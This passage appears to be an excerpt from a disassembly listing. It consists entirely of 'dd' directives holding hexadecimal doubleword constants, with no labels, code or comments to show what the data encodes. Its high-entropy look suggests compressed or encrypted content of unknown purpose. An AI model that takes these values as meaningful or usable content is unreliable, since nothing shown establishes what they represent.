		dd 0F93C3471h, 893F417h, 0CCF9A829h, 0B7A09204h, 9CF45E25h
		dd 0F8100066h, 0F4E19217h, 0BB241F8Ah, 0FE00743Fh, 296B3864h
		dd 70B000E3h, 3E219188h, 469D0CDAh, 417E10h, 0C2800D39h
		dd 6ED5EB88h, 4DBD7513h, 0C500D8F2h, 501837B7h,	0F45BAECDh
		dd 0A4336CCCh, 0E2CA0E08h, 8D02562Ah, 0BCFAFDF5h, 0ECC495h
		dd 65EB2E25h, 0E64E20A5h, 19C293Ch, 1A50E0B3h, 80514183h
		dd 469FB0Ch, 1057F900h,	62071B15h, 0D5688512h, 1D04C0FCh
		dd 0C089C3CAh, 56C2CE9Ch, 73D2E00h, 0AE0636Fh, 0A1CB017Eh
		dd 72E485C9h, 13F42010h, 16DFEB88h, 0F70E632Fh,	88D2002Ch
		dd 9018B156h, 78FC091Ah, 54769BE3h, 30C1CE40h, 2CDDF816h
		dd 0E2D0F002h, 0B924E838h, 0E01ED340h, 0F30ED2F1h, 80B54798h
		dd 0E2990365h, 8CF2F58h, 0A9F71CA1h, 11242CE1h,	0B5137F86h
		dd 52188C7Ch, 89DBF213h, 27E42Ch, 0E8FB6B25h, 44281B14h
		dd 93E39427h, 1A00A7E0h, 10B2FFh, 3579BA2Ch, 0CB53D17Fh
		dd 0C4FEF438h, 0B0334FE7h, 3F2DC984h, 13207065h, 0D0820605h
		dd 0F070CAA0h, 727B8F05h, 7840E042h, 0EF12A743h, 4944005Fh
		dd 3D245CF8h, 0FC918E0Bh, 0DD9C6680h, 18AD1247h, 71C95868h
		dd 0D43C1FAEh, 841CB2Fh, 0F7B86093h, 0B7028A4h,	7479B3C7h
		dd 248F7D01h, 9421664Ah, 0C600344Dh, 0A97502h, 0B2C5F90Ch
		dd 0E7255AF8h, 846CF302h, 0C008B48Bh, 0FEE569C5h, 2482BF1Dh
		dd 6054EACEh, 0E235F940h, 0C0765Fh, 624E524Ch, 0F060642Bh
		dd 456FFB01h, 0BF10865Ah, 0E384806Bh, 0F20B92FFh, 54724CC7h
		dd 14C540B8h, 3D3EBEB2h, 7A4F8031h, 0DE8D7FB9h,	99D9850h
		dd 0B3526259h, 0FB6B7CAEh, 0B4AC88D9h, 0E7446203h, 222016D5h
		dd 8D148C2Dh, 91CD2825h, 0ACC0D1F8h, 4DCFE8Bh, 6C5B6B05h
		dd 424DC129h, 0D4003068h, 2022645Fh, 857193Ah, 0B491BF9Ch
		dd 4AD0727Eh, 1757D0C8h, 259CB6Fh, 0A7E6195Bh, 0BC3687C0h
		dd 954F41FAh, 0A82070C1h, 0C0005EC6h, 95508293h, 8DCC801Dh
		dd 712DB3ACh, 59078F14h, 84DF73E0h, 9D58C63Ch, 740AC0A4h
		dd 0E413D362h, 0DD390071h, 0EB4EF4C3h, 0E50D4AF6h, 4858AED2h
		dd 0BF80E878h, 0D05B01EEh, 0BD6BEA03h, 0A8DB79CFh, 0BB350DB4h
		dd 2BE8AC38h, 0EE894EBCh, 0D567C8DCh, 752EBCE2h, 52F26040h
		dd 7A451E01h, 372D863Ah, 964CC06Ah, 7C00A65Ch, 2921F64Dh
		dd 261AFC8Eh, 88EC0CE3h, 0AE96A891h, 58E81C12h,	0AF5001D6h
		dd 0DD870C14h, 0BA5CD4C3h, 0FB9B6A12h, 0EFB4B481h, 0FA004C32h
		dd 45768195h, 4A055BE1h, 0C061E08h, 0FA805CB8h,	335EDD28h
		dd 17027AF6h, 13E319CAh, 30D14Fh, 94AEABE7h, 0F701D182h
		dd 0B46EA73Ah, 2FD5700Ah, 805C603Fh, 0DB7F3046h, 9D4A7A00h
		dd 0D4486B32h, 504B0129h, 5D84D7AFh, 1ACC415Ah,	0C27025B2h
		dd 180ECC5h, 3B821F6Eh,	5B7C015Ch, 4A9C9A4Fh, 0D9A47480h
		dd 7A90A88h, 5229477Ah,	0AA5763A1h, 0C34A21B0h,	63C6EB02h
		dd 502B809Eh, 6F7D2234h, 73C469Dh, 165DE0E6h, 4E61B09Fh
		dd 1102BF36h, 74B4EA6Ah, 4040D672h, 0DBD27573h,	858BFA00h
		dd 0CD0EE76Bh, 0B5FE40B0h, 2422805Ah, 9ECC6F4h,	4A86D71Eh
		dd 7244ACF6h, 8B00A08Ah, 0D22BA74Dh, 8A00D775h,	0C4C968B4h
		dd 6D81844h, 0DB3BCCECh, 1F1E386Ch, 31498F94h, 0F1E009DFh
		dd 0AC649F38h, 4CDD0280h, 307C2973h, 0C08F8760h, 4FF0008Ah
		dd 8972C378h, 0F81CEE6Eh, 7E105542h, 2D87C507h,	54405B90h
		dd 0D1161CF2h, 38A23C89h, 0E074482Ah, 0E0789E30h, 45A5E088h
		dd 80D18D3Fh, 8465636Ah, 173DCE0Ah, 127073EFh, 7E0020Dh
		dd 9B1855B5h, 0C8FB5B62h, 8D0074C0h, 0E15B40F6h, 7DE3AB7Bh
		dd 509200B3h, 8E65FF42h, 0B898BDB5h, 3215E078h,	7BC9FEFh
		dd 41CC0546h, 0B804B00h, 83B6B27h, 6D64B8C8h, 0F25ACB00h
		dd 0FC9AAA90h, 0A8E25066h, 368C1379h, 0DFBC205Fh, 601C82Ah
		dd 0A22BFD56h, 8BB607Eh, 323D2161h, 1075CAC8h, 8D3F34h
		dd 0D469DBD9h, 0D3AD9AB5h, 79421A0Eh, 616DEEA8h, 665776FBh
		dd 90FDE0CCh, 0BC0E0450h, 811CE661h, 8B0DB78Ch,	9A77AC8h
		dd 2494E851h, 2BC01C05h, 0A0DB839Ah, 84F6393h, 94D3CB4h
		dd 179CC00Eh, 55E68C80h, 0D1673DFh, 6801DEEBh, 45FA21CCh
		dd 3250E8A9h, 363042F0h, 560A11C8h, 87C2889Dh, 0A0C89E41h
		dd 0F9D03446h, 772A681Dh, 0CC662540h, 16D8DA3h,	89FD7D15h
		dd 83C3E48Fh, 0C9ADA5E0h, 6180407h, 0EDF77408h,	416C0E68h
		dd 5B62C0E2h, 6B09FB43h, 0C0A0084Ch, 0C3E239A2h, 0EE007E71h
		dd 1DED0E48h, 0A031DC2Ah, 317787FCh, 39682CD4h,	99D8DCBFh
		dd 18B9C800h, 0CB543B9Bh, 4B2A00F5h, 0C7694355h, 9A00EA03h
		dd 823E6B8h, 0B8986A73h, 172E0069h, 8838A0EDh, 8CE43F72h
		dd 0C1EC3Dh, 0F3EA090Fh, 16AEF04h, 6B2CA401h, 0C0EC361Ah
		dd 0EE018E4Ch, 800389EAh, 28BCD45Fh, 2BE3D300h,	0CAE76791h
		dd 9F6EEB19h, 2180D708h, 0D02BEE94h, 0E00523Fh,	0D17B5190h
		dd 4DE698h, 1AF0E0DBh, 35216B8Dh, 0FA02813Fh, 0EDC2E218h
		dd 19FFF341h, 0B8FA471Ah, 26E7E0E4h, 0DDC438h, 274865CCh
		dd 761FB0Fh, 1A42C803h,	216A4604h, 27313C00h, 76C038F1h
		dd 3E190248h, 0DA0A79E9h, 66FAA060h, 7CD15C00h,	0F26CE1DBh
		dd 0C7FF1E8Eh, 653CC0BFh, 2EAE079h, 94E8C606h, 5106F56h
		dd 0F6BD0563h, 759D0790h, 60D16713h, 0FF83BC25h, 0CBD33000h
		dd 9EFA44Fh, 0E61D008Bh, 4662C0E5h, 23037BA2h, 0CDB56796h
		dd 10B8F861h, 45CF00D9h, 80FD93E4h, 0E4C629Ah, 0DC31003Ch
		dd 0D1F1712Eh, 53211F4Bh, 0C07A9C8Fh, 9EDA9F22h, 30758165h
		dd 0B6B79503h, 0E0765B6Eh, 708DDA4h, 8CE5F33Bh,	0FD5F90D6h
		dd 4F03BCDBh, 0E4356AE8h, 0AAA4C0E9h, 1D40967h,	300080FBh
		dd 535A8641h, 0DB0C7B70h, 3A50ACBBh, 29560067h,	6B2F9E4Ah
		dd 4D4C65F5h, 8C681EDEh, 0FF60D3C1h, 89DFD43h, 0E5A1C130h
		dd 0C8C8A3CDh, 0F3033421h, 0F15C7A3Ch, 5AD0F8ECh, 0A9E628h
		dd 7FE31697h, 0CF524AA3h, 0E6D6A400h, 0EEF82A56h, 0EA48000Dh
		dd 1B726E37h, 0F6007742h, 3955BF73h, 3EDCBA0Ch,	74000ED1h
		dd 0B1672DF4h, 17009638h, 0BBFA1BB0h, 6888943h,	0D1AEFE8Ch
		dd 0D6004040h, 59FB7032h, 0ADF44Bh, 761047A6h, 7778E7Eh
		dd 7563DB00h, 0E540CD30h, 185600F8h, 0D7E1CC69h, 250E7615h
		dd 0E1815C2Eh, 6ABE095h, 7B1EEECCh, 6F711848h, 0DEF6488Ah
		dd 0A1FB9300h, 2D920E9Ch, 291B3ECFh, 0C035469Fh, 64B5F47Eh
		dd 3FF8FCD6h, 74A89760h, 12907269h, 6A6EC78h, 5073F598h
		dd 3D0AEB15h, 9A786780h, 1174F6h, 53D9BACFh, 0EE4824E3h
		dd 201CE800h, 608213EFh, 4B231A86h, 0CFC360EAh,	0C1A1E5E8h
		dd 0A2C0C095h, 3B5900A7h
		dd 8239D06Fh, 9B005BEEh, 7369F840h, 0ED3184h, 194267B5h
		dd 0A4CCBC7Ch, 59EF0D17h, 0E9B100FFh, 69C6665Bh, 459ED700h
		dd 0FE44E8A9h, 3E93F8DFh, 0BD81F2D0h, 9F732534h, 53588033h
		dd 0F0A2ABD1h, 5D962CE8h, 0C971DB2h, 5E20344Dh,	7DABD90Ah
		dd 590B9852h, 0D21A80FFh, 1F48FB4h, 0D347A14Eh,	0E73F240Eh
		dd 73591060h, 7CB7F2E1h, 1311C03Bh, 0CC0D2ACAh,	9FBF2606h
		dd 60082BAAh, 2509211Bh, 72B07F28h, 0CB26677Dh,	4403F815h
		dd 0EBB166E6h, 58606481h, 2AD060B9h, 36CC230Bh,	0F3021011h
		dd 0B3512822h, 40567841h, 173C67C0h, 40C621CEh,	47FC2057h
		dd 7F747D05h, 403B22A3h, 56005CFEh, 1DC1BD34h, 0CF9E543h
		dd 0DF57DCD2h, 0F70AD090h, 0C034BCEBh, 2246B020h, 0C8ABD21Dh
		dd 51C4D0F0h, 0EB0B3548h, 3B4B5817h, 59004C73h,	0D2E64550h
		dd 3B0E61B3h, 0EE0A69Ah, 5808C1F9h, 88E8CD9Ch, 0E3CA0009h
		dd 0CFEC9E82h, 530EAD2Dh, 60AAB08Ch, 0D5F08D33h, 8985004Dh
		dd 87FD46B9h, 4F00C218h, 8A094E5h, 0E91CBFh, 1952BB35h
		dd 0D7DC5AA4h, 18CBB100h, 138DF0F9h, 7BAE290h, 0C1022693h
		dd 0C6C3C011h, 0FB01FCDBh, 0A043A44h, 0BFE83116h, 0E7078D7h
		dd 1F5FB341h, 96E15700h, 0E0000EFFh, 102947DCh,	0ED70301h
		dd 3C2143DAh, 0C3929465h, 11F07566h, 0BF0713CEh, 0DA7DFD1h
		dd 0B05C69D0h, 79EE40Eh, 0A35009E4h, 802CC007h,	0E3004922h
		dd 1FA16FCFh, 10947Eh, 91D813C6h, 0E49D5B7Bh, 7CA57906h
		dd 1E88B00Fh, 80EBF92Bh, 22EE78CEh, 0D6585B2Dh,	5D751E4Dh
		dd 0C73B6C00h, 7A451Fh,	33108872h, 0E2877320h, 5800A87Ah
		dd 6D799512h, 0C10E2DE1h, 17AD9459h, 5BC0879Bh,	2A44EDE8h
		dd 0BFFD1FC0h, 5D18C0A1h, 272BFAB3h, 1BD00C00h,	8AE34731h
		dd 0E7BF0070h, 0F792B1BEh, 4F180825h, 9710CC39h, 91280083h
		dd 0E6363438h, 0C814C0F6h, 0D2EF7Bh, 5F682A4Ah,	0F909794h
		dd 4B358F8Bh, 9F29E4ECh, 0EB4D88h, 0A0951E87h, 0B7DA4702h
		dd 3A276207h, 0BC3341A2h, 0F1C5A81Fh, 339D00B4h, 2D73AD37h
		dd 0B01F6C6h, 785813CDh, 47E88DF2h, 0D0A616ABh,	4C860005h
		dd 8FAEF850h, 0F5FDD400h, 6164AF0Bh, 56C200EBh,	5E478619h
		dd 2F008492h, 0FE226CF4h, 1CCDBh, 0B8F965B5h, 0F8743D1Dh
		dd 57E10A00h, 0BF742C7h, 6D7C22h, 7E41A110h, 0F33E046Ah
		dd 88927C07h, 35B0FB8Fh, 0B0A63FF7h, 7D8D0020h,	5E8B0D9Eh
		dd 6C00D108h, 7BFE0128h, 0D3AFC4h, 1C69D57Eh, 0AC6EDF42h
		dd 0EFC6F00h, 86A48B7Fh, 5E810188h, 7D4C5630h, 2B15C83Fh
		dd 0DF413D00h, 0E85C16E5h, 0A3050780h, 4E10BAh,	72C08F8Ch
		dd 79D73600h, 4A52BF44h, 0AEC00DEh, 58C67FA4h, 3B0973F0h
		dd 0F8A991h, 643C07EAh,	0FA04007Ch, 4451A8DFh, 7100215Dh
		dd 0F68F47E9h, 77017AAh, 93EA76FCh, 0E8B0C02Fh,	0EF1DC61Eh
		dd 25408C77h, 0B7461855h, 0FFE0C0h, 5614ABBh, 67A748A6h
		dd 1364F248h, 4B000AA4h, 95E2780Fh, 0EA2B07F0h,	100CA2EBh
		dd 723CB833h, 0B4D6671Dh, 0EE6C6EC0h, 0CF182185h, 8B8E0FF2h
		dd 812D49E5h, 0D83932A8h, 0DE729488h, 7819E1Eh,	693A7180h
		dd 0A001D03Eh, 79C8A2h,	0E29DEDFCh, 0CE3F4763h,	0F4CF4607h
		dd 0A30E159h, 1E79DF0Dh, 80D28AD8h, 0B236AC60h,	0F8909F5Bh
		dd 0EAA5DC00h, 2ABBC26Fh, 0FE44F4C8h, 5A28008Ah, 0DBDF75Eh
		dd 69784B6Eh, 3C752C0Bh, 0EFC70057h, 14734Ch, 963F5852h
		dd 0E7869D63h, 9CA3300Fh, 7D4FE01Dh, 0AAB80Bh, 7F70074Ah
		dd 0DC7E2104h, 0D09B0801h, 555B4814h, 0B318FBFBh, 0ED6DD85Fh
		dd 0E6BC004Ah, 4060944Eh, 351C2399h, 0AFC0C6CDh, 51B96DC5h
		dd 98770003h, 0FD4B8086h, 69000EE1h, 0EA5C10C6h, 0FA03617Dh
		dd 16E60099h, 0F6A22ADFh, 7607B58Fh, 91549471h,	60C0B1C4h
		dd 7E6B762h, 0EB4ED85Ch, 9D6420F1h, 0BC0C262Eh,	1058B405h
		dd 746B0033h, 4F569A53h, 0DD00D3B9h, 0A4A6010Ch, 0F695E010h
		dd 0F74A00BEh, 0CB569828h, 0EC00B1A1h, 0ACBC7179h, 94FE6Ah
		dd 18E1679Dh, 424E9C29h, 0F26ED800h, 0D96A8347h, 0EF370001h
		dd 6D3C03AEh, 93005FD5h, 0C1BC94DCh, 1C6DFF2h, 56213A0Ch
		dd 0C302BB5Eh, 3E5B8007h, 0EB008A62h, 0C428DCh,	6AF09E0h
		dd 81D72CA5h, 0F28D5200h, 82FED69Dh, 7BCE005Dh,	0A932260Eh
		dd 6B00E738h, 0B2AA81C4h, 31DDEC9h, 3BDBD7C7h, 0AE3F4AB8h
		dd 12D4C0Dh, 54388715h,	80201B12h, 706DF01Ch, 5335003Fh
		dd 4B7F0566h, 7B00ABE1h, 512A443Dh, 60390FBBh, 183AA804h
		dd 0F2003553h, 134EB5F6h, 6A95C3h, 6042B7B8h, 15C99BC0h
		dd 5D8EDE0Bh, 764D00F2h, 773BF4Fh, 0D1442CD5h, 0C419F079h
		dd 28C016C7h, 0C3E145E9h, 0AEE200F8h, 0C9A896CCh, 21002F7Dh
		dd 0B68F9DECh, 0B5A73Ch, 9BEA6837h, 5314D49Fh, 0C00434F6h
		dd 0DF0A8029h, 51893480h, 1562E82Ah, 0F071443Bh, 547B3600h
		dd 0E52E8431h, 4DE25C00h, 0A22CBFC2h, 0A7C80124h, 0DA031A2Bh
		dd 2180C3B2h, 0D70083F9h, 9BE1B7A8h, 0DD94FCh, 28FE7641h
		dd 59048837h, 98F7CB00h, 0BC770EB5h, 0C5420217h, 0B8510CD9h
		dd 9CE1284Eh, 63015DB1h, 0B3D622E7h, 0C9ED20h, 2D84828Fh
		dd 8F03C0Dh, 5C001490h,	0A6E9E6D0h, 11667EDh, 962FE114h
		dd 0EC18538Dh, 1003A33h, 0B5FA923Eh, 0E1ACCB6h,	4A21D848h
		dd 70399787h, 2FFC029Ah, 40037E73h, 79CB465Fh, 0FD28005Ch
		dd 9D4354FEh, 740052E8h, 8C8DB3C5h, 0A0A920h, 0F46609BDh
		dd 14E05905h, 0F9D23A03h, 0C8AF1AABh, 7D045Eh, 0EC9A9458h
		dd 70928FD5h, 0A2CF0200h, 0CDB7877h, 7AE00005h,	2DDA7C3Ch
		dd 0A03BD76h, 3755D9BAh, 0E631F1EEh, 0F2F6F3CCh, 0C57EA0h
		dd 5DE383E1h, 0FB84E58Ah, 630008F0h, 0F4DFB6F7h, 3FF2E9ABh
		dd 8F0003EEh, 12742EA4h, 8A004768h, 6AE56E4Eh, 2653E59h
		dd 0D41A1809h, 0E4825B81h, 5CC087D1h, 0EF008C3Ch, 0C12D6C48h
		dd 4C9933h, 0EA30156Fh,	0C59F2FEh, 0FAD35F07h, 0B204FAAh
		dd 3F92BDC6h, 6F066CBAh, 6C3A5ECEh, 8933BE1Dh, 0CC40686h
		dd 0A18C0A60h, 3CA09122h, 2C98DE01h, 0D0E0E4BDh, 0D36F68B9h
		dd 80E80F18h, 0A1A2E58Bh, 0A18A15Bh, 71A0DD8h, 108490C1h
		dd 0B951D061h, 2800FFCFh, 0D193B582h, 3A017E47h, 0F28048A2h
		dd 0C60D130Fh, 9F30356Ch, 0CFFC180Ah, 0DE1A03AEh, 0E37579F9h
		dd 5108800Ah, 24868405h, 1CB0D03Fh, 806C8589h, 4CB0FE8h
		dd 0C00CD279h, 30068290h, 6C6D0794h, 9527891Eh,	477448EFh
		dd 8400E064h, 881FB3D5h, 383F7E0Eh, 0A0F8C041h,	1C263A17h
		dd 1C8C5186h, 0D87C584h, 96E40134h, 0FC4914C9h,	0AD1D6B67h
		dd 0FD00A45Eh, 0BDF48D58h, 347350h, 9B98160Ch, 418053C5h
		dd 17676400h, 4308D21Ah, 70CD02C6h, 30E9FF0Ch, 3FD5A840h
		dd 0A5001E71h, 961F0D79h, 0EED2474h, 0E4C95FC2h, 9B774120h
		dd 0E2E69A7h, 0B80073B1h, 0DEA59804h, 4753008Fh, 72AB90A4h
		dd 7C0094AEh, 77E21474h, 398A93D1h, 80942026h, 87008030h
		dd 0A8467FECh, 650CA485h, 84C8D8Ch, 4321C438h, 0EBBB8098h
		dd 0E80088D8h, 6AA4E19Dh, 2A09585h, 8227045Fh, 0D0A4030Dh
		dd 7841BC05h, 0EBA05AF8h, 8A1B9A34h, 23206AFCh,	7E018B80h
		dd 9C85A746h, 9742000Eh, 5F7DEB46h, 0DAE090h, 2CAF410Bh
		dd 0E116BC89h, 659B2700h, 5F831F72h, 78826203h,	0F4083602h
		dd 0DD8B8783h, 0B989EFFh
		dd 83D8DAFh, 3120FB8Ch,	79BFB501h, 0C90A910h, 898D1F5h
		dd 9CC82135h, 0D205BF7Dh, 9A224AD9h, 0C17CA448h, 0CDB24685h
		dd 41300E74h, 0EDCA61E8h, 8D2F8B00h, 0A6269A7Ah, 0D8C803Bh
		dd 0C1C06700h, 4D499976h, 7FBAF2D8h, 8FB01CFBh,	0A3CC0D20h
		dd 7688AC78h, 0E0B78830h, 0D881012Dh, 0F432977Fh, 5950FCF8h
		dd 0D08B9800h, 8E5A4C7Bh, 39B304DFh, 0C030A9C7h, 0A4F2852Bh
		dd 3F00B072h, 7E51CA57h, 584AF021h, 0AA00C631h,	0A50FD405h
		dd 95003C33h, 0B0E4D3DFh, 48DEDA5Bh, 0C150E287h, 3CB500E6h
		dd 0C0C2A816h, 0B400957Bh, 0ADD2FADFh, 13589F46h, 0EB5C33h
		dd 9A5D268Dh, 933F95B3h, 5E0F79A4h, 0C0C9D554h,	106634A0h
		dd 0AD990F09h, 9DBD3Ah,	0EC31D641h, 180C1511h, 41DE5CF3h
		dd 82500069h, 2CE342EBh, 3413BA32h, 3E1D1E1Bh, 4480F8D8h
		dd 0A6F00319h, 0AF0887DFh, 0C53848h, 4BE9E774h,	9158ABh
		dd 1328B632h, 0DB3880F0h, 1A13F0Ch, 14C8E2h, 8A7823E8h
		dd 7F10ACEDh, 0DF95A4A1h, 5BD082B0h, 968E3818h,	7BD17D58h
		dd 37E5009Eh, 1EBC6089h, 790786C6h, 7C7EB321h, 0AC509D67h
		dd 37BF56h, 0EE6096E1h,	5468023Ch, 73C16400h, 0A0C99EC3h
		dd 0E1D401F6h, 0FC7DA989h, 9A119599h, 977F7C04h, 804910CEh
		dd 81F3C939h, 0F0350010h, 9DEFFF5Fh, 40C0B49Eh,	49E4510Eh
		dd 0CA053281h, 0F6105428h, 0F5088A3h, 112ED38Bh, 3833C851h
		dd 0A0F444C1h, 88307414h, 0C08232ACh, 0C97A72Dh, 13B39CEFh
		dd 5400397Ch, 0A17ACA73h, 39AE8B43h, 0BA00FFD6h, 0EE337E8Eh
		dd 0A0001D16h, 0ACCF0B23h, 0E0561Bh, 5A081EEDh,	47E17BB9h
		dd 10ADDC01h, 6B0F80C2h, 2F63EBBh, 0E57B0BD7h, 0DB404854h
		dd 0CD00977Ah, 0EEEF4603h, 583389F3h, 0E800FB4Bh, 0EDB69C74h
		dd 68000550h, 3DA321C3h, 0CE31BB7h, 0A86998B3h,	4A00EF11h
		dd 2F7EB0A1h, 1EBDCBA4h, 0A83241D9h, 0ED08C7B8h, 0E6B0A0AAh
		dd 8238BF0Fh, 52598030h, 6C4EE570h, 9964608Dh, 0F90760EEh
		dd 53406B00h, 0C06D7DA2h, 0A30D00EFh, 474AADA8h, 3E00DD9Fh
		dd 5BA6B8F6h, 264452FCh, 4A6BE73h, 812AB614h, 0C8173EF5h
		dd 0F6001AF9h, 6DDA3D49h, 0D7A419h, 0EAE1BC6Ah,	7ED80316h
		dd 3FA3F907h, 0E820FE95h, 811789h, 799B948Bh, 62295388h
		dd 0BC162701h, 0AFCAE86h, 2C24A9CDh, 33CF6D6h, 7B2483C3h
		dd 0C7C8645Ch, 0D5019994h, 8CF942A6h, 9FF78FE0h, 456AC4D0h
		dd 7C8E003Fh, 0D2291923h, 6E00B63Ch, 2744A7CDh,	3E61540Fh
		dd 9B07A8AEh, 0F50E9EAh, 40C3B00h, 76006072h, 49BDC76Bh
		dd 4CB680F4h, 0E9002481h, 83A43F3Ch, 54581EFAh,	7F007246h
		dd 21C66AAh, 0F4B89D73h, 0A0470019h, 323B6BB9h,	38028B05h
		dd 0B32445B2h, 76AA6027h, 3A75006Dh, 0C71726E5h, 5100C1B8h
		dd 0DE43136Eh, 1F2DAF90h, 0C0506D18h, 7DE6A46Bh, 7807CFFEh
		dd 16417BC8h, 82EDEFD0h, 0C04D49BAh, 4374A300h,	7F5A1042h
		dd 19298500h, 0E4E9BC75h, 0AFD607E6h, 93593A77h, 1F02F9Ah
		dd 0C6006298h, 5856E99Bh, 1DE031A3h, 829C64D5h,	76350F7Dh
		dd 22607440h, 0BEC38307h, 65750410h, 0E4BFC000h, 2D9BDCh
		dd 0C5EA5428h, 56914EB2h, 29E83D0Eh, 6810E04Dh,	0C6C35Fh
		dd 1BB3A957h, 5B2808AFh, 0C14C1E00h, 714AD30Dh,	38AD49F2h
		dd 4EA39707h, 0C2E420D5h, 8A0FEA74h, 0BE3A9B64h, 8FE36605h
		dd 0CF7B5A81h, 568C20h,	7CAADFA3h, 3372E6BEh, 59EDF609h
		dd 1146832Eh, 66E9D848h, 0D50828FCh, 7A7C94h, 0CE356876h
		dd 51DFB9DAh, 0C7FC8C92h, 290337E2h, 7C572156h,	4034EAF0h
		dd 0EEB5A918h, 0B2DF01C4h, 96089131h, 0EE4BF082h, 18F3040h
		dd 637EF85Eh, 31AC31B6h, 0BF208924h, 0E49C0048h, 0B790Ah
		dd 7B889FFDh, 0D6A8E829h, 0DA0D3B00h, 5C909C6Fh, 6237002Fh
		dd 0BD357350h, 9EECF33Ch, 26894000h, 83B180Dh, 8ED23C2Eh
		dd 7CC3E900h, 1051BE98h, 29A4B201h, 79920EE4h, 42676D8h
		dd 0DBF3C68Ah, 347FC0FDh, 3304ACB0h, 0AB1D6F9Eh, 73AA1C80h
		dd 0F3572C10h, 7EE300B5h, 0BFD0DC3Bh, 80C9CB3Fh, 9E3F84D2h
		dd 3D464208h, 7B0019E2h, 0A87467A3h, 7A00A2CCh,	3BE59AF5h
		dd 38E0C2h, 0BA213975h,	83983A2Fh, 0C5FFCF00h, 59568FF5h
		dd 0C24B4849h, 0AC5A4E00h, 5D33BE16h, 9B9EC0A8h, 102E5F09h
		dd 0AF820B5h, 3AB8604h,	0D7EC95C8h, 92980BA7h, 0DD00ED37h
		dd 1931F0FDh, 7D8CC7h, 0EB2FFCD9h, 0AC18391Bh, 891F2B05h
		dd 13C0ECC9h, 608016h, 0DB830354h, 6ABEAE8Dh, 0E5F4C3Ch
		dd 0C0AB2673h, 0C49F1DE5h, 3D9B1C4Dh, 0FFEA829Eh, 99C09760h
		dd 98000F8Fh, 68879FDDh, 2FA2D1h, 0DE9A8B3h, 0E2E638C4h
		dd 78591D00h, 0C16912ECh, 185A001Ah, 9A3010A3h,	85E42066h
		dd 116790Bh, 87C7801Bh,	109F92h, 8FAB6438h, 31FE9DD6h
		dd 1B064E00h, 0DDFF61D4h, 0EC9A3A01h, 3C047A81h, 0FCDA18A4h
		dd 880099CEh, 65CD2BA5h, 0E408EDh, 0C643301Dh, 0F944B87Eh
		dd 39C3D400h, 0F17D982Fh, 0A769008Eh, 1035563Eh, 0E0077763h
		dd 0E96AEF18h, 1244BAC0h, 0B4640052h, 1EE49D6Eh, 5B00CA56h
		dd 0B148B2FEh, 6F75DABh, 2FBD4399h, 52067059h, 769EDFDBh
		dd 70E300C8h, 2A9C92Bh,	8B00B4B5h, 0D89C173Fh, 0D52233h
		dd 0E331241Bh, 0E13CA221h, 0BAAB5400h, 94465523h, 0F45CF04Bh
		dd 82BC01D7h, 0E01EE8B8h, 9516F473h, 0BF1A413Fh, 108480E1h
		dd 9732CDC0h, 76F6009Ch, 2A96E788h, 0EF006FD9h,	1B48E041h
		dd 44B5A3h, 89BAE88Eh, 669E6ACDh, 55E41400h, 0BC9BC725h
		dd 1B2700FFh, 0A686D4A2h, 0DE00EC77h, 0F720E2D3h, 75929AFh
		dd 81D63184h, 90C05E0Eh, 79F165E4h, 3FC82403h, 0F87737DAh
		dd 3B39E272h, 0CE87A427h, 7E35DD1Dh, 0E98D407Eh, 0F57C1B8Bh
		dd 26F76A3Eh, 3B0044E1h, 0C91AFB9Ch, 55D70020h,	0B46DFA80h
		dd 9E1EC441h, 924758EFh, 4680542Ah, 1D9169E1h, 8033B99Ah
		dd 93ABECEh, 0BD507FB8h, 6B004FC2h, 47E0C01Eh, 0B85B5A78h
		dd 0B753004Ch, 0AAD4D126h, 80077F1h, 8783B940h,	35C3FC5h
		dd 7C540496h, 33F06645h, 30021DBh, 34632F41h, 0ED8A12C7h
		dd 491900EBh, 0D8CC9B37h, 0F400C5ACh, 4273C6E8h, 1B6BCFh
		dd 279CD54h, 23EF947Ch,	20915F00h, 0BF4EFDB7h, 6EF7026Ch
		dd 0D4016105h, 0C6F2DF60h, 9223CA00h, 0FB50DD80h, 0E0710062h
		dd 8E440B2h, 47007A93h,	0DDAE844Fh, 8D3F68h, 0A3A0886Ah
		dd 29E6054Dh, 2C009848h, 0F36624AEh, 91F4F2h, 9BBDA131h
		dd 0E01022BBh, 0FC6B4C00h, 66C30BFDh, 199800BCh, 94B31D9Fh
		dd 20E1ED1h, 92B777FFh,	830AF900h, 0C0AC45h, 0DC21FE20h
		dd 24474F0Dh, 9271F400h, 596A99ADh, 2EF67E6Ch, 0C4A70Ch
		dd 16917872h, 410350FBh, 1E0DD774h, 0E3A4A8E5h,	3650B7F1h
		dd 8B9C4713h, 490A2401h, 0D8646411h, 0CCA700F0h, 0D6E74ADEh
		dd 0F5006B33h, 4214CFBBh, 13DACCAh, 6204D30Eh, 0E76A3CF4h
		dd 0D8489399h, 3800C590h, 0F2263D4Dh, 29634A3h,	0C1463003h
		dd 1AE0F5F1h, 1B009921h, 72EA334Ah, 819544h, 0DE624BE4h
		dd 2F1D765Eh, 24C1C01h,	2A882365h, 0D6BC2880h, 7F3FD0Ch
		dd 42CEFC18h, 0E2D14849h, 87E101E4h, 881E9683h,	0D87A61D2h
		dd 0AE3ECA9Ch, 0DA00FFECh, 7BD19DD5h, 9835009h,	0C823D9D2h
		dd 808E2860h, 0BE03CB01h, 68C24EE0h, 0F85106E8h, 1697E650h
		dd 44DD8C70h, 80D24C20h
		dd 28A1CCF6h, 0AA675C00h, 0F2967A49h, 5BF5004Ah, 0BAD6832Ch
		dd 0A7056CE8h, 0E3AF37E5h, 0BEBD3D80h, 0ECB0A071h, 878C0051h
		dd 57A445A3h, 67060246h, 3B2A9C31h, 77610011h, 3A26CBC4h
		dd 0FB001154h, 5BA606F3h, 181CB9D9h, 0C09F3461h, 930009E1h
		dd 0ED1DA3ECh, 25BBE5h,	9A809453h, 2157F09Ch, 66CD35Ch
		dd 0CC074E61h, 15CB0C6h, 75A8FF59h, 0C00DE3B9h,	8C18528Ah
		dd 0EA6063CAh, 59E238h,	0BD6D1B97h, 0F7D6FAF1h,	0D3D0C800h
		dd 0F69AE26Bh, 794E09C4h, 0ED004198h, 80019E62h, 4778FC00h
		dd 83A86CE5h, 81F607B8h, 10EAC2A9h, 391DC4C3h, 0BE15FA00h
		dd 73702C09h, 0A5320229h, 0A487F63Fh, 100674E0h, 4F80C30Fh
		dd 828B00EDh, 308A9F4h,	3C163554h, 0D0D07687h, 4800B474h
		dd 0DEAA05Eh, 448A55h, 0CF89BF6Eh, 302AD8Eh, 0F6A3AC00h
		dd 7775DB26h, 812505B9h, 0AADD35h, 4EB4EAA0h, 5073497h
